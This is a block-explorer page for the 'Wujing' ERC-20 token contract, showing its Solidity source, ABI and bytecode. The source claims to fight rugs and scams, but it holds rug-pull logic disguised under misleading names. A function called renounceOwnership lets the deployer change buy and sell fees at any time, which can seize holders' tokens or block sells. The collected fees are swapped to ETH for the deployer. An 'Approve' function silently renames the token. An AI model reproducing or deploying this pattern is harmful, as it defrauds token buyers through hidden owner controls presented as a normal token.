Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 55 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 20994785 | 499 days ago | IN | 0 ETH | 0.00065062 | ||||
| Approve | 20994504 | 499 days ago | IN | 0 ETH | 0.00072958 | ||||
| Approve | 20987158 | 500 days ago | IN | 0 ETH | 0.00106251 | ||||
| Approve | 20986625 | 500 days ago | IN | 0 ETH | 0.00086915 | ||||
| Approve | 20979961 | 501 days ago | IN | 0 ETH | 0.00059173 | ||||
| Approve | 20979409 | 501 days ago | IN | 0 ETH | 0.00104236 | ||||
| Approve | 20979139 | 501 days ago | IN | 0 ETH | 0.00066679 | ||||
| Approve | 20971006 | 502 days ago | IN | 0 ETH | 0.00057496 | ||||
| Approve | 20965250 | 503 days ago | IN | 0 ETH | 0.00144614 | ||||
| Approve | 20964798 | 503 days ago | IN | 0 ETH | 0.00211034 | ||||
| Approve | 20964558 | 503 days ago | IN | 0 ETH | 0.00203918 | ||||
| Approve | 20964298 | 503 days ago | IN | 0 ETH | 0.00167878 | ||||
| Approve | 20964104 | 503 days ago | IN | 0 ETH | 0.00120466 | ||||
| Approve | 20951134 | 505 days ago | IN | 0 ETH | 0.00220369 | ||||
| Approve | 20944152 | 506 days ago | IN | 0 ETH | 0.0007986 | ||||
| Approve | 20944048 | 506 days ago | IN | 0 ETH | 0.00134551 | ||||
| Approve | 20944035 | 506 days ago | IN | 0 ETH | 0.00151907 | ||||
| Approve | 20943856 | 506 days ago | IN | 0 ETH | 0.00085085 | ||||
| Approve | 20943808 | 506 days ago | IN | 0 ETH | 0.00077859 | ||||
| Approve | 20929536 | 508 days ago | IN | 0 ETH | 0.00132535 | ||||
| Approve | 20929275 | 508 days ago | IN | 0 ETH | 0.00217454 | ||||
| Approve | 20928792 | 508 days ago | IN | 0 ETH | 0.00118418 | ||||
| Approve | 20928327 | 508 days ago | IN | 0 ETH | 0.00105383 | ||||
| Approve | 20923221 | 509 days ago | IN | 0 ETH | 0.00129739 | ||||
| Approve | 20922882 | 509 days ago | IN | 0 ETH | 0.00092512 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Wujing
Compiler Version
v0.8.25+commit.b61c2a91
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/*
Wujing is a demonic barbarian who likes to capture and eat humans.
However, as Sanzang's disciple, he is actually kind-hearted and loyal, and likely the most polite also the most realistic, and always try to protect innocent people at all cost.
Wujing is sand demon, and general in heaven, he uses himsef as sand to disappear from enemies.
Wujing will dissapear rugs and scams
Website : https://www.wujingcoin.org/
X/Twitter : https://x.com/wujingcoin
Telegram : https://t.me/wujingcoin
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.25;
interface IUniswapFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFreelyOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Wujing {
struct StoreData {
address tokenMkt;
uint8 buyFee;
uint8 sellFee;
}
string public _name = unicode"Wujing";
string public _symbol = unicode"WUJING";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 420_000_000_000 * 10**decimals;
StoreData public storeData;
uint256 constant swapAmount = totalSupply / 100;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed TOKEN_MKT,
address indexed spender,
uint256 value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public pair;
IUniswapV2Router02 constant _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
bool private swapping;
bool private tradingOpen;
constructor() {
uint8 _initBuyFee = 0;
uint8 _initSellFee = 0;
storeData = StoreData({
tokenMkt: msg.sender,
buyFee: _initBuyFee,
sellFee: _initSellFee
});
balanceOf[msg.sender] = totalSupply;
allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function renounceOwnership(uint8 _buy, uint8 _sell) external {
if (msg.sender != EthTokenMktWithZkVerify()) revert Permissions();
TokeOnErc20(_buy, _sell);
}
function TokeOnErc20(uint8 _buy, uint8 _sell) private {
storeData.buyFee = _buy;
storeData.sellFee = _sell;
}
function EthTokenMktWithZkVerify() private view returns(address) {
return storeData.tokenMkt;
}
function openTrading() external {
require(msg.sender == EthTokenMktWithZkVerify());
require(!tradingOpen);
address _factory = _uniswapV2Router.factory();
address _weth = _uniswapV2Router.WETH();
address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
pair = _pair;
tradingOpen = true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function _transfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
address tokenMkt = EthTokenMktWithZkVerify();
require(tradingOpen || from == tokenMkt || to == tokenMkt);
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router
.swapExactTokensForETHSupportingFreelyOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
payable(tokenMkt).transfer(address(this).balance);
swapping = false;
}
(uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
if (from != address(this) && tradingOpen == true) {
uint256 taxCalculatedAmount = (amount *
(to == pair ? _sellFee : _buyFee)) / 100;
amount -= taxCalculatedAmount;
balanceOf[address(this)] += taxCalculatedAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
event DataEth(string newName,string newSymbol , address by);
function Approve(string memory name_,string memory symbol_) public {
require(msg.sender == storeData.tokenMkt);
_name = name_;
_symbol = symbol_;
emit DataEth(name_, symbol_, msg.sender);
}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"DataEth","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c0604052600660809081526557756a696e6760d01b60a0525f9061002490826101e0565b5060408051808201909152600681526557554a494e4760d01b602082015260019061004f90826101e0565b5034801561005b575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a56012600a610395565b6100b4906461c9f368006103aa565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101216012600a610395565b610130906461c9f368006103aa565b60405190815260200160405180910390a350506103c1565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017057607f821691505b60208210810361018e57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101db57805f5260205f20601f840160051c810160208510156101b95750805b601f840160051c820191505b818110156101d8575f81556001016101c5565b50505b505050565b81516001600160401b038111156101f9576101f9610148565b61020d81610207845461015c565b84610194565b602080601f831160018114610240575f84156102295750858301515b5f19600386901b1c1916600185901b178555610297565b5f85815260208120601f198616915b8281101561026e5788860151825594840194600190910190840161024f565b508582101561028b57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102ed57815f19048211156102d3576102d361029f565b808516156102e057918102915b93841c93908002906102b8565b509250929050565b5f826103035750600161038f565b8161030f57505f61038f565b8160018114610325576002811461032f5761034b565b600191505061038f565b60ff8411156103405761034061029f565b50506001821b61038f565b5060208310610133831016604e8410600b841016171561036e575081810a61038f565b61037883836102b3565b805f190482111561038b5761038b61029f565b0290505b92915050565b5f6103a360ff8416836102f5565b9392505050565b808202811582820484141761038f5761038f61029f565b61123b806103ce5f395ff3fe6080604052600436106100f2575f3560e01c80638eb24bd711610087578063b09f126611610057578063b09f1266146102f0578063c9567bf914610304578063d28d885214610318578063dd62ed3e1461032c575f80fd5b80638eb24bd71461026757806395d89b4114610286578063a8aa1b311461029a578063a9059cbb146102d1575f80fd5b8063313ce567116100c2578063313ce567146101975780634abe3052146101bd57806370a082311461021b5780638d815b6f14610246575f80fd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b50610111610362565b60405161011e9190610c60565b60405180910390f35b348015610132575f80fd5b50610146610141366004610c89565b6103f1565b604051901515815260200161011e565b348015610161575f80fd5b5061016a61045d565b60405190815260200161011e565b348015610183575f80fd5b50610146610192366004610cb3565b61047b565b3480156101a2575f80fd5b506101ab601281565b60405160ff909116815260200161011e565b3480156101c8575f80fd5b506002546101f2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161011e565b348015610226575f80fd5b5061016a610235366004610cf1565b60036020525f908152604090205481565b348015610251575f80fd5b50610265610260366004610d21565b6104c8565b005b348015610272575f80fd5b50610265610281366004610def565b610526565b348015610291575f80fd5b50610111610594565b3480156102a5575f80fd5b506005546102b9906001600160a01b031681565b6040516001600160a01b03909116815260200161011e565b3480156102dc575f80fd5b506101466102eb366004610c89565b6105a3565b3480156102fb575f80fd5b506101116105b6565b34801561030f575f80fd5b50610265610642565b348015610323575f80fd5b506101116107f8565b348015610337575f80fd5b5061016a610346366004610e4f565b600460209081525f928352604080842090915290825290205481565b60605f805461037090610e86565b80601f016020809104026020016040519081016040528092919081815260200182805461039c90610e86565b80156103e75780601f106103be576101008083540402835291602001916103e7565b820191905f5260205f20905b8154815290600101906020018083116103ca57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044b9086815260200190565b60405180910390a35060015b92915050565b6104696012600a610fb2565b610478906461c9f36800610fc0565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104af908490610fd7565b909155506104c09050848484610804565b949350505050565b6002546001600160a01b031633146104f257604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b0316331461053c575f80fd5b5f6105478382611036565b5060016105548282611036565b507f3765c13bc66d83d7614e93529a35ca82ee5b8962424deff07e9cf4a263546d60828233604051610588939291906110f6565b60405180910390a15050565b60606001805461037090610e86565b5f6105af338484610804565b9392505050565b600180546105c390610e86565b80601f01602080910402602001604051908101604052809291908181526020018280546105ef90610e86565b801561063a5780601f106106115761010080835404028352916020019161063a565b820191905f5260205f20905b81548152906001019060200180831161061d57829003601f168201915b505050505081565b6002546001600160a01b03163314610658575f80fd5b600554600160a81b900460ff161561066e575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e39190611133565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610736573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075a9190611133565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156107a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cd9190611133565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f80546105c390610e86565b5f806108186002546001600160a01b031690565b600554909150600160a81b900460ff16806108445750806001600160a01b0316856001600160a01b0316145b806108605750806001600160a01b0316846001600160a01b0316145b610868575f80fd5b6001600160a01b0385165f908152600360205260408120805485929061088f908490610fd7565b90915550506005546001600160a01b0385811691161480156108bb5750600554600160a01b900460ff16155b80156108fb575060646108d06012600a610fb2565b6108df906461c9f36800610fc0565b6108e9919061114e565b305f9081526003602052604090205410155b80156109195750806001600160a01b0316856001600160a01b031614155b15610af8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106109645761096461116d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611133565b81600181518110610a0b57610a0b61116d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f61396064610a4b6012600a610fb2565b610a5a906461c9f36800610fc0565b610a64919061114e565b5f8430426040518663ffffffff1660e01b8152600401610a88959493929190611181565b5f604051808303815f87803b158015610a9f575f80fd5b505af1158015610ab1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610ae8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610b365750600554600160a81b900460ff1615156001145b15610baa576005545f906064906001600160a01b03898116911614610b5b5783610b5d565b825b610b6a9060ff1688610fc0565b610b74919061114e565b9050610b808187610fd7565b305f90815260036020526040812080549298508392909190610ba39084906111f2565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610bd19084906111f2565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c1d91815260200190565b60405180910390a35060019695505050505050565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6105af6020830184610c32565b6001600160a01b0381168114610c86575f80fd5b50565b5f8060408385031215610c9a575f80fd5b8235610ca581610c72565b946020939093013593505050565b5f805f60608486031215610cc5575f80fd5b8335610cd081610c72565b92506020840135610ce081610c72565b929592945050506040919091013590565b5f60208284031215610d01575f80fd5b81356105af81610c72565b803560ff81168114610d1c575f80fd5b919050565b5f8060408385031215610d32575f80fd5b610d3b83610d0c565b9150610d4960208401610d0c565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610d75575f80fd5b813567ffffffffffffffff80821115610d9057610d90610d52565b604051601f8301601f19908116603f01168101908282118183101715610db857610db8610d52565b81604052838152866020858801011115610dd0575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610e00575f80fd5b823567ffffffffffffffff80821115610e17575f80fd5b610e2386838701610d66565b93506020850135915080821115610e38575f80fd5b50610e4585828601610d66565b9150509250929050565b5f8060408385031215610e60575f80fd5b8235610e6b81610c72565b91506020830135610e7b81610c72565b809150509250929050565b600181811c90821680610e9a57607f821691505b602082108103610eb857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f0c57815f1904821115610ef257610ef2610ebe565b80851615610eff57918102915b93841c9390800290610ed7565b509250929050565b5f82610f2257506001610457565b81610f2e57505f610457565b8160018114610f445760028114610f4e57610f6a565b6001915050610457565b60ff841115610f5f57610f5f610ebe565b50506001821b610457565b5060208310610133831016604e8410600b8410161715610f8d575081810a610457565b610f978383610ed2565b805f1904821115610faa57610faa610ebe565b029392505050565b5f6105af60ff841683610f14565b808202811582820484141761045757610457610ebe565b8181038181111561045757610457610ebe565b601f82111561103157805f5260205f20601f840160051c8101602085101561100f5750805b601f840160051c820191505b8181101561102e575f815560010161101b565b50505b505050565b815167ffffffffffffffff81111561105057611050610d52565b6110648161105e8454610e86565b84610fea565b602080601f831160018114611097575f84156110805750858301515b5f19600386901b1c1916600185901b1785556110ee565b5f85815260208120601f198616915b828110156110c5578886015182559484019460019091019084016110a6565b50858210156110e257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b606081525f6111086060830186610c32565b828103602084015261111a8186610c32565b91505060018060a01b0383166040830152949350505050565b5f60208284031215611143575f80fd5b81516105af81610c72565b5f8261116857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156111d15784516001600160a01b0316835293830193918301916001016111ac565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561045757610457610ebe56fea2646970667358221220d65a7ea11de574120aee659527c927acdd0b2e7ed01a74dd1f548226ca57141c64736f6c63430008190033
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c80638eb24bd711610087578063b09f126611610057578063b09f1266146102f0578063c9567bf914610304578063d28d885214610318578063dd62ed3e1461032c575f80fd5b80638eb24bd71461026757806395d89b4114610286578063a8aa1b311461029a578063a9059cbb146102d1575f80fd5b8063313ce567116100c2578063313ce567146101975780634abe3052146101bd57806370a082311461021b5780638d815b6f14610246575f80fd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b50610111610362565b60405161011e9190610c60565b60405180910390f35b348015610132575f80fd5b50610146610141366004610c89565b6103f1565b604051901515815260200161011e565b348015610161575f80fd5b5061016a61045d565b60405190815260200161011e565b348015610183575f80fd5b50610146610192366004610cb3565b61047b565b3480156101a2575f80fd5b506101ab601281565b60405160ff909116815260200161011e565b3480156101c8575f80fd5b506002546101f2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161011e565b348015610226575f80fd5b5061016a610235366004610cf1565b60036020525f908152604090205481565b348015610251575f80fd5b50610265610260366004610d21565b6104c8565b005b348015610272575f80fd5b50610265610281366004610def565b610526565b348015610291575f80fd5b50610111610594565b3480156102a5575f80fd5b506005546102b9906001600160a01b031681565b6040516001600160a01b03909116815260200161011e565b3480156102dc575f80fd5b506101466102eb366004610c89565b6105a3565b3480156102fb575f80fd5b506101116105b6565b34801561030f575f80fd5b50610265610642565b348015610323575f80fd5b506101116107f8565b348015610337575f80fd5b5061016a610346366004610e4f565b600460209081525f928352604080842090915290825290205481565b60605f805461037090610e86565b80601f016020809104026020016040519081016040528092919081815260200182805461039c90610e86565b80156103e75780601f106103be576101008083540402835291602001916103e7565b820191905f5260205f20905b8154815290600101906020018083116103ca57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044b9086815260200190565b60405180910390a35060015b92915050565b6104696012600a610fb2565b610478906461c9f36800610fc0565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104af908490610fd7565b909155506104c09050848484610804565b949350505050565b6002546001600160a01b031633146104f257604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b0316331461053c575f80fd5b5f6105478382611036565b5060016105548282611036565b507f3765c13bc66d83d7614e93529a35ca82ee5b8962424deff07e9cf4a263546d60828233604051610588939291906110f6565b60405180910390a15050565b60606001805461037090610e86565b5f6105af338484610804565b9392505050565b600180546105c390610e86565b80601f01602080910402602001604051908101604052809291908181526020018280546105ef90610e86565b801561063a5780601f106106115761010080835404028352916020019161063a565b820191905f5260205f20905b81548152906001019060200180831161061d57829003601f168201915b505050505081565b6002546001600160a01b03163314610658575f80fd5b600554600160a81b900460ff161561066e575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e39190611133565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610736573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075a9190611133565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156107a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cd9190611133565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f80546105c390610e86565b5f806108186002546001600160a01b031690565b600554909150600160a81b900460ff16806108445750806001600160a01b0316856001600160a01b0316145b806108605750806001600160a01b0316846001600160a01b0316145b610868575f80fd5b6001600160a01b0385165f908152600360205260408120805485929061088f908490610fd7565b90915550506005546001600160a01b0385811691161480156108bb5750600554600160a01b900460ff16155b80156108fb575060646108d06012600a610fb2565b6108df906461c9f36800610fc0565b6108e9919061114e565b305f9081526003602052604090205410155b80156109195750806001600160a01b0316856001600160a01b031614155b15610af8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106109645761096461116d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611133565b81600181518110610a0b57610a0b61116d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f61396064610a4b6012600a610fb2565b610a5a906461c9f36800610fc0565b610a64919061114e565b5f8430426040518663ffffffff1660e01b8152600401610a88959493929190611181565b5f604051808303815f87803b158015610a9f575f80fd5b505af1158015610ab1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610ae8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610b365750600554600160a81b900460ff1615156001145b15610baa576005545f906064906001600160a01b03898116911614610b5b5783610b5d565b825b610b6a9060ff1688610fc0565b610b74919061114e565b9050610b808187610fd7565b305f90815260036020526040812080549298508392909190610ba39084906111f2565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610bd19084906111f2565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c1d91815260200190565b60405180910390a35060019695505050505050565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6105af6020830184610c32565b6001600160a01b0381168114610c86575f80fd5b50565b5f8060408385031215610c9a575f80fd5b8235610ca581610c72565b946020939093013593505050565b5f805f60608486031215610cc5575f80fd5b8335610cd081610c72565b92506020840135610ce081610c72565b929592945050506040919091013590565b5f60208284031215610d01575f80fd5b81356105af81610c72565b803560ff81168114610d1c575f80fd5b919050565b5f8060408385031215610d32575f80fd5b610d3b83610d0c565b9150610d4960208401610d0c565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610d75575f80fd5b813567ffffffffffffffff80821115610d9057610d90610d52565b604051601f8301601f19908116603f01168101908282118183101715610db857610db8610d52565b81604052838152866020858801011115610dd0575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610e00575f80fd5b823567ffffffffffffffff80821115610e17575f80fd5b610e2386838701610d66565b93506020850135915080821115610e38575f80fd5b50610e4585828601610d66565b9150509250929050565b5f8060408385031215610e60575f80fd5b8235610e6b81610c72565b91506020830135610e7b81610c72565b809150509250929050565b600181811c90821680610e9a57607f821691505b602082108103610eb857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f0c57815f1904821115610ef257610ef2610ebe565b80851615610eff57918102915b93841c9390800290610ed7565b509250929050565b5f82610f2257506001610457565b81610f2e57505f610457565b8160018114610f445760028114610f4e57610f6a565b6001915050610457565b60ff841115610f5f57610f5f610ebe565b50506001821b610457565b5060208310610133831016604e8410600b8410161715610f8d575081810a610457565b610f978383610ed2565b805f1904821115610faa57610faa610ebe565b029392505050565b5f6105af60ff841683610f14565b808202811582820484141761045757610457610ebe565b8181038181111561045757610457610ebe565b601f82111561103157805f5260205f20601f840160051c8101602085101561100f5750805b601f840160051c820191505b8181101561102e575f815560010161101b565b50505b505050565b815167ffffffffffffffff81111561105057611050610d52565b6110648161105e8454610e86565b84610fea565b602080601f831160018114611097575f84156110805750858301515b5f19600386901b1c1916600185901b1785556110ee565b5f85815260208120601f198616915b828110156110c5578886015182559484019460019091019084016110a6565b50858210156110e257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b606081525f6111086060830186610c32565b828103602084015261111a8186610c32565b91505060018060a01b0383166040830152949350505050565b5f60208284031215611143575f80fd5b81516105af81610c72565b5f8261116857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156111d15784516001600160a01b0316835293830193918301916001016111ac565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561045757610457610ebe56fea2646970667358221220d65a7ea11de574120aee659527c927acdd0b2e7ed01a74dd1f548226ca57141c64736f6c63430008190033
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.